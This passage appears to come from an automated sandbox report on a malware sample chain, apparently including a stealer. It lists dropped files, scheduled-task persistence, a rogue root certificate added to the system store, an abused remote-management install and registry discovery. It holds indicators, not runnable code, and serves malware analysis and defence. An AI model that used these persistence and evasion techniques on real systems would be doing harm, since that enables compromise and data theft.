File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\TK.fs C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\enrollment_config.ini C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\nturl2path.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\xml\dom\pulldom.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\treebuilders\__init__.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools\command\build_py.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\cp852.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\es.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Samarkand C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Europe\London C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\plusarm.xbm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\ListNBk.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\pref\TixGray.csc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\ZoomHeight.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Africa\Lome C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tix8.4.3\bitmaps\folder.xbm C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\mac_croatian.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\pydoc_data\topics.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\locations.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\pip\_vendor\html5lib\filters\lint.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\encoding\cp1258.enc C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Colombo C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Australia\Victoria C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\curses\panel.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\idlelib\FileList.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\Asia\Almaty C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\site-packages\setuptools-18.2.dist-info\zip-safe C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\tzdata\America\Detroit C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\qtwebengine_resources_100p.pak C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\encodings\undefined.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\msgs\hu.msg C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\tearoff.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tk8.5\demos\images C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\vcruntime140.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\tcl8.5\http1.0\http.tcl C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
File opened for modification C:\Program Files (x86)\COMODO\Endpoint Manager\Lib\distutils\command\upload.py C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Installer\inprogressinstallinfo.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA9B7.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIC88E.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
File opened for modification C:\Windows\Installer\MSIB199.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\SystemTemp\~DF57B76E8CC7A56CBA.TMP C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\e59a147.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA61A.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\wix{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}.SchedServiceConfig.rmi C:\Windows\syswow64\MsiExec.exe N/A
File created C:\Windows\Installer\e59a149.msi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\SystemTemp\~DF0DBECB9A77DA8227.TMP C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
File created C:\Windows\SystemTemp\~DFB9EB0280F5A207E9.TMP C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\e59a147.msi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\SourceHash{373FFE70-5FF7-492D-A2F4-0C6A15D8D503} C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\SystemTemp\~DF5C6F0ED3ED7C4795.TMP C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA958.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIA688.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIB021.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Tasks\explorti.job C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
File opened for modification C:\Windows\Installer\MSIA988.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\SystemTemp C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File opened for modification C:\Windows\Installer\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\icon.ico C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSIBFB3.tmp C:\Windows\system32\msiexec.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Browser Information Discovery

discovery

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\RoamingKJKFBAFIDA.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\fFy0czWhkx.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000030001\79621f3790.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\1000029002\e1bdee8355.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\2KqPimodeA.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\urpolcr\mlpgetq.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000020001\0272ecd3cd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\1000029002\e1bdee8355.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\1000029002\e1bdee8355.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 C:\Windows\system32\msiexec.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\PackageCode = "D7076E96D3235814DB26ACC95D2BAD84" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AuthorizedLUAApp = "0" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30\DefaultFeature C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AdvertiseFlags = "388" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductIcon = "C:\\Windows\\Installer\\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\\icon.ico" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Version = "151109272" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key created \REGISTRY\USER\S-1-5-21-243088447-3331090618-2776087093-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media\1 = ";" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductName = "Endpoint Manager Communication Client" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\PackageName = "em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Language = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Assignment = "1" C:\Windows\system32\msiexec.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Clients = 3a0000000000 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\InstanceType = "0" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\DeploymentFlags = "3" C:\Windows\system32\msiexec.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
